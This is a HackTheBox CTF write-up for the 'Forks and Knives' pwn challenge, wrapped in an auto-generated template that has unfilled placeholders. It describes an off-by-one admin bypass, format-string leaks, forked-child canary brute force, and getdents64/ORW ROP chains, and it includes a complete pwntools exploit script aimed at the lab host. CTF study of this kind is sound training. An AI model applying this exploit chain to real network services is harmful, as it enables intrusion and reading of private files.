Forks and Knives
Forks and Knives
Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-31 | Status: Solved Techniques: fork_canary_bruteforce, format_string_libc_leak, getdents64_filename_recovery, off_by_one_admin_bypass, orw_rop, stack_overflow_rop
Summary
Task: a forked Linux TCP service with PIE, NX, canary, Full RELRO, an off-by-one admin bypass, a reservation format string, and a staged stack overflow. Solution: use the NUL overwrite to reach manager functions, leak libc and stack via fprintf, brute-force the shared canary across forked children, recover the randomized flag filename with getdents64, then finish with an ORW ROP chain.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackthebox| ID:20260331_hackthebox_forks_and_knives - Tags: stack_overflow, pie, format_string, off_by_one, pwn, nx, full_relro, stack_canary, fork_server, orw, getdents64
- Indicators: fork-per-connection service, 16-byte name buffer followed by adjacent auth flag, fprintf(file, user_buf) on attacker-controlled string, first stack read length reused as second write offset
- Source:
20260331_hackthebox_forks_and_knives.md
Foothold
Vulnerability / Misconfiguration
- Fork_canary_bruteforce
- Format_string_libc_leak
- Getdents64_filename_recovery
- Off_by_one_admin_bypass
- Orw_rop
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- fork_canary_bruteforce
- format_string_libc_leak
- getdents64_filename_recovery
- off_by_one_admin_bypass
- orw_rop
- stack_overflow_rop
- Tags: stack_overflow, pie, format_string, off_by_one, pwn, nx, full_relro, stack_canary, fork_server, orw, getdents64
Original Writeup
<details><summary>Click to expand original content</summary>Description
Welcome to the Forks & Knives restaurant!
This was a forked TCP pwn service, not a web task. The binary exposed a restaurant menu over the network and kept per-client state such as the user name, reservations, and order data.
Remote target: 154.57.164.78:30845.
Files:
serverlibc.so.6Dockerfile
Recon
The first useful strings immediately showed the challenge shape:
Welcome to the Forks & Knives restaurant!Can I have your name please?Reserve a tablePlace an orderLogin as managerView reservationsClear reservations
That made it clear this was a classic menu-driven Linux service. There was no HTTP parsing anywhere, and the target itself behaved like a forked TCP daemon: every incoming connection got a fresh child process.
checksec on the binary:
| Protection | Status |
|---|---|
| PIE | Enabled |
| NX | Enabled |
| Canary | Enabled |
| RELRO | Full |
So the exploitation plan had to avoid GOT overwrites and needed either a canary leak or a reliable canary bypass. Because the service forks, the stack canary is inherited by children, which turned brute force into a viable primitive.
Reversing Findings
Global state
The early input handler stores the customer name in a global buffer:
nameat0x4030- adjacent
adminflag at0x4040
The name logic reads up to 16 bytes and then writes a trailing \0 at name[len].
That is safe for lengths 0..15, but exactly 16 bytes makes the terminator land one byte past the buffer, on top of the neighboring auth state.
Bug 1 — off-by-one NUL admin bypass
If we send exactly 16 bytes as the initial name, the terminator is written to 0x4040 and clears the adjacent admin flag. In this program that flipped the manager check in our favor, so the manager-only menu entries became reachable without any real login.
This was the first stage of the chain because the format-string bug lived behind the reservation/manager flow.
Bug 2 — format string in reservation writer
The reservation path asks:
How many people would you like to reserve the table for?
That value is read into a tiny 4-byte stack buffer, then embedded with:
snprintf(user_buf, ..., "Table for %s\n", input);
So far this is fine. The bug appears one step later when the resulting string is written with:
fprintf(file, user_buf);
Instead of treating user_buf as plain data, it becomes the format string for fprintf. Since manager access lets us view the saved reservations afterwards, we can plant %p specifiers and recover pointers from the child process.
The two leaks that mattered were:
%2$p→ libc pointer tolseek64+0xb%1$p→ stack pointer inside the current frame
Known libc relation:
lseek64 = 0x114910 lseek64 + 0xb = 0x11491b
So:
libc_base = leak_%2$p - 0x11491b
The stack leak gave a stable way to compute the future order buffer address:
order_buf = stack_leak - 0xe0
That was important because the final payload did not spawn an interactive shell. Instead, it used ORW directly and needed a reliable writable pointer for filenames and file contents.
Bug 3 — staged stack overflow in the order flow
The order handler contains two reads:
- First read:
0x100bytes into a local buffer atrbp-0x110 - Then a 2-byte
y/nread atrbp-0x116 - If the answer is
y, a second read of0x100bytes goes tobuf + first_len
That means the program reuses the length returned by the first read as the starting point for the second write.
If we make the first read consume a full 0x100 bytes, the second destination becomes:
(rbp - 0x110) + 0x100 = rbp - 0x10
From there, the second read starts past the end of the original buffer, only 8 bytes before the canary.
Stack layout relative to the second write start:
rbp-0x10 -> second write starts here rbp-0x08 -> canary rbp+0x00 -> saved rbp rbp+0x08 -> saved rip
So the second-stage payload becomes:
8 bytes padding 8 bytes canary 8 bytes saved rbp filler ROP chain
This gave controlled RIP despite NX, PIE, canary, and Full RELRO.
Exploitation Chain
The final exploit used the following sequence:
- Send exactly 16 bytes as the name to NUL out the adjacent admin flag.
- Create a reservation containing format specifiers.
- View reservations and parse:
%2$pfor libc base%1$pfor stack leak
- Compute
order_buf = stack_leak - 0xe0. - Brute-force the stack canary byte-by-byte across forked children.
- Trigger the order overflow.
- First use ORW +
getdents64to list the directory and recover the randomized flag filename. - Run a second ORW chain to open that file and send it back through the client socket.
Canary Brute Force Across Forked Children
Because the parent process forks a child for each connection, every child inherits the same canary value. That turns crash-or-no-crash into an oracle.
Recovered canary:
00 8e eb 38 42 f7 ae 33
Little-endian 64-bit value:
0x33aef74238eb8e00
Bruteforce method:
- Open a fresh connection.
- Reapply the 16-byte name admin bypass.
- Enter the order flow.
- Send
0x100bytes in the first order read so the second write starts atrbp-0x10. - Send a second-stage payload with:
8bytes padding- known canary prefix + guessed next byte
- If the child survives and reaches the success path, the guessed byte is correct.
- Repeat until all 8 bytes are known.
The leading canary byte is 0x00, so only the remaining 7 bytes needed guessing.
Recovering the Randomized Flag Filename
The provided Dockerfile contains the important hint:
# RUN mv /home/ctf/flag.txt /home/ctf/flag$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 16).txt
So even after code execution, assuming a fixed flag.txt path would fail. The exploit first used a directory listing ROP chain.
Why getdents64
Once libc was known, ORW was enough to read arbitrary files, but we still needed the exact randomized name. getdents64 solved that cleanly:
open(".", 0)oropen("/home/ctf", 0)getdents64(fd, order_buf, 0x300)write(4, order_buf, 0x300)
Here 4 is the client socket descriptor in the forked child, so the directory entries are written directly back to our connection.
That revealed:
flagd816d7b5ab9c4d97.txt
Final ORW Exploit
After discovering the filename, the last chain reused the same overflow and targeted the real flag file.
High-level ROP plan:
open("flagd816d7b5ab9c4d97.txt", 0)read(3, order_buf, 0x80)write(4, order_buf, 0x80)exit(0)
Why ORW instead of system("/bin/sh"):
- It avoids dealing with TTY / interactive shell quirks.
- It works cleanly against a forked network service.
- The socket FD was already known to be usable for output.
Useful constants
libc leak source : lseek64+0xb libc leak offset : 0x11491b stack-derived buffer : order_buf = stack_leak - 0xe0 known socket fd : 4 canary : 0x33aef74238eb8e00
Example exploit
#!/usr/bin/env python3
from pwn import *
import re
HOST = "154.57.164.78"
PORT = 30845
BIN_PATH = "./server"
LIBC_PATH = "./libc.so.6"
elf = context.binary = ELF(BIN_PATH, checksec=False)
libc = ELF(LIBC_PATH, checksec=False)
context.arch = "amd64"
context.os = "linux"
context.log_level = "info"
CANARY = 0x33AEF74238EB8E00
LSEEK64_RET_OFF = 0x11491B # lseek64 + 0xb
ORDER_BUF_DELTA = 0xE0 # order_buf = stack_leak - 0xe0
CLIENT_FD = 4
LISTING_PATH = b".\x00"
FLAG_NAME = b"flagd816d7b5ab9c4d97.txt\x00"
def start():
return remote(HOST, PORT)
def menu(io, choice: int):
io.recvuntil(b"Clear reservations")
io.sendline(str(choice).encode())
def set_name(io, name: bytes):
io.recvuntil(b"Can I have your name please?")
io.send(name)
def manager_bypass(io):
# Exactly 16 bytes -> trailing NUL lands on adjacent admin flag.
set_name(io, b"A" * 16)
def reserve(io, people: bytes, saved_name: bytes = b"guest"):
menu(io, 1)
io.recvuntil(b"How many people would you like to reserve the table for?")
io.sendline(people)
io.recvuntil(b"Under what name shall we save the reservation?")
io.sendline(saved_name)
def view_reservations(io) -> bytes:
menu(io, 5)
data = io.recvuntil(b"Clear reservations", drop=True, timeout=2)
return data
def leak_libc_and_stack(io):
reserve(io, b"%1$p.%2$p", b"chef")
data = view_reservations(io)
m = re.search(rb"0x([0-9a-fA-F]+)\.0x([0-9a-fA-F]+)", data)
if not m:
log.failure(data)
raise ValueError("failed to parse reservation leaks")
stack_leak = int(m.group(1), 16)
libc_ret = int(m.group(2), 16)
libc.address = libc_ret - LSEEK64_RET_OFF
order_buf = stack_leak - ORDER_BUF_DELTA
log.success(f"stack leak = {hex(stack_leak)}")
log.success(f"libc leak = {hex(libc_ret)}")
log.success(f"libc base = {hex(libc.address)}")
log.success(f"order buf = {hex(order_buf)}")
return order_buf
def order(io, first: bytes, second: bytes):
menu(io, 2)
io.recvuntil(b"What would you like to order?")
io.send(first)
io.recvuntil(b"Would you like to add anything to your order? (y/n)")
io.send(b"y\n")
io.recvuntil(b"What else will you add to your order?")
io.send(second)
def build_syscall_chain(order_buf: int, dir_fd: int):
rop = ROP(libc)
pop_rdi = libc.address + rop.find_gadget(["pop rdi", "ret"]).address
pop_rsi = libc.address + rop.find_gadget(["pop rsi", "ret"]).address
pop_rdx_r12 = libc.address + rop.find_gadget(["pop rdx", "pop r12", "ret"]).address
pop_rax = libc.address + rop.find_gadget(["pop rax", "ret"]).address
syscall = libc.address + rop.find_gadget(["syscall", "ret"]).address
chain = flat(
pop_rdi, order_buf, # open(path, 0)
pop_rsi, 0,
libc.address + libc.sym.open,
pop_rdi, dir_fd, # getdents64(dir_fd, order_buf, 0x300)
pop_rsi, order_buf,
pop_rdx_r12, 0x300, 0,
pop_rax, 217,
syscall,
pop_rdi, CLIENT_FD, # write(4, order_buf, 0x300)
pop_rsi, order_buf,
pop_rdx_r12, 0x300, 0,
libc.address + libc.sym.write,
pop_rdi, 0,
libc.address + libc.sym.exit,
)
return chain
def build_flag_chain(order_buf: int, flag_ptr: int):
rop = ROP(libc)
pop_rdi = libc.address + rop.find_gadget(["pop rdi", "ret"]).address
pop_rsi = libc.address + rop.find_gadget(["pop rsi", "ret"]).address
pop_rdx_r12 = libc.address + rop.find_gadget(["pop rdx", "pop r12", "ret"]).address
chain = flat(
pop_rdi, flag_ptr, # open(flag_name, 0)
pop_rsi, 0,
libc.address + libc.sym.open,
pop_rdi, 3, # read(3, order_buf, 0x80)
pop_rsi, order_buf,
pop_rdx_r12, 0x80, 0,
libc.address + libc.sym.read,
pop_rdi, CLIENT_FD, # write(4, order_buf, 0x80)
pop_rsi, order_buf,
pop_rdx_r12, 0x80, 0,
libc.address + libc.sym.write,
pop_rdi, 0,
libc.address + libc.sym.exit,
)
return chain
def overflow_payload(order_buf: int, rop_chain: bytes, first_blob: bytes) -> tuple[bytes, bytes]:
first = first_blob.ljust(0x100, b"A")
second = flat(
b"B" * 8, # second write starts at rbp-0x10
CANARY,
b"C" * 8, # saved rbp
rop_chain,
)
return first, second
def list_directory():
io = start()
manager_bypass(io)
order_buf = leak_libc_and_stack(io)
first_blob = LISTING_PATH
chain = build_syscall_chain(order_buf, 3)
first, second = overflow_payload(order_buf, chain, first_blob)
order(io, first, second)
data = io.recvrepeat(1)
io.close()
return data
def read_flag():
io = start()
manager_bypass(io)
order_buf = leak_libc_and_stack(io)
flag_ptr = order_buf + 0x20
first_blob = LISTING_PATH.ljust(0x20, b"\x00") + FLAG_NAME
chain = build_flag_chain(order_buf, flag_ptr)
first, second = overflow_payload(order_buf, chain, first_blob)
order(io, first, second)
data = io.recvrepeat(1)
m = re.search(rb"HTB\{[^}]+\}", data)
if m:
log.success(f"flag = {m.group().decode()}")
else:
log.failure(data)
io.interactive()
def brute_canary():
known = b"\x00"
while len(known) < 8:
for guess in range(0x100):
io = start()
try:
manager_bypass(io)
menu(io, 2)
io.recvuntil(b"What would you like to order?")
io.send(b"A" * 0x100)
io.recvuntil(b"Would you like to add anything to your order? (y/n)")
io.send(b"y\n")
io.recvuntil(b"What else will you add to your order?")
probe = b"B" * 8 + known + bytes([guess])
io.send(probe)
out = io.recv(timeout=0.4)
if b"You order has been placed!" in out or b"already placed" in out or out:
known += bytes([guess])
log.success(f"canary so far: {known.hex()}")
io.close()
break
except EOFError:
pass
finally:
io.close()
else:
raise RuntimeError("failed to brute-force next canary byte")
return u64(known)
if __name__ == "__main__":
# Optional helper:
# print(list_directory())
read_flag()
</details>
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR